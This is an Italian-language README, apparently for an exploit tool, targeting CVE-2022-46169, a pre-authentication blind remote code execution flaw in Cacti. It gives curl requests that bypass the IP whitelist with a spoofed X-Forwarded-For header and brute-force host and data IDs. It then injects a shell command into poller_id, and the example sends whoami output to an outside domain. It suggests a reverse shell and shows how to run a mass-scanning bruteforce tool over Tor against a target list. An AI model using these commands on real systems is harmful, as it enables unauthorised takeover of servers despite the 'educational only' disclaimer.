
CVE-2022-46169 - Esecuzione di codice in remoto alla cieca su Cacti (pre-autenticazione)
Cacti Esecuzione Remota di Codice Cieca (Pre-Auth)
Questo è solo a scopo educativo. Non sono responsabile delle tue azioni. Usalo a tua discrezione.
Questo script esegue un brute force sulle variabili necessarie per sfruttare questa vulnerabilità. Questo exploit richiede le seguenti 3 variabili:
host_id correttolocal_data_ids correttoIl file remote_agent.php è protetto da una whitelist IP. Puoi aggirarla falsificando il tuo indirizzo IP nell'header X-Forwarded-IP. La maggior parte delle installazioni ha 127.0.0.1 o l'indirizzo IP del server stesso nella whitelist.
Successivamente devi eseguire un brute force sui parametri di richiesta host_id e local_data_ids. Questo viene fatto enumerando coppie di interi x,y da un valore minimo predefinito di 1 e un valore massimo di 10.
Richiesta di esempio
pair_x="1"
pair_y="2"
curl -k -H "X-Forwarded-For: 127.0.0.1" \
"https://target.com/cacti/remote_agent.php?action=polldata&poller_id=1&host_id=$pari_x&=local_data_ids[]=$pair_y"
[]
Dopo aver ottenuto queste 3 variabili, puoi iniettare un comando shell nella chiave poller_id e farla terminare inserendo un ; prima del tuo comando.
Questo è un RCE cieco, quindi devi inviare l'output del tuo comando da qualche parte come interact.sh o aprire una reverse shell. Ricorda di codificare nell'URL il valore di poller_id!
Quanto segue esegue il comando ping $(whoami).test.com
curl -k -H "X-Forwarded-For: 127.0.0.01" \
"https://target.com/cacti/remote_agent.php?action=polldata&host_id=1&local_data_ids[]=3&poller_id=;ping%20%24%28whoami%29.test.com"
Lo script produce un output in formato CSV. Le intestazioni sono "target", "ip", "host_id", "data_id", "url".
Se il valore di url manca, significa che lo script è riuscito a bypassare la restrizione IP ma non a completare il brute force degli ID. Puoi prendere questo output e impostare un valore massimo più alto per tentare di nuovo.
Puoi usare i seguenti comandi per analizzare rapidamente il file di output
tail -n +2 results.csv | cut -d ',' -f1 | sort -u
tail -n +2 results.csv | cut -d ',' -f5 | sort -u
go build -v -o bruteforce bruteforce.go
./bruteforce -l targets.txt -t 50 -min 1 -max 10
-proxy socks5://127.0.0.1:9050results.csv